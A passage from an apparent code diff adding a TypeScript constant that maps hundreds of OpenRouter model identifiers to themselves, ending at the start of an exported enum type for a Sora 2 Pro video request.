'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosOpenaiSora2ProRequestModelEnumKey = + (typeof 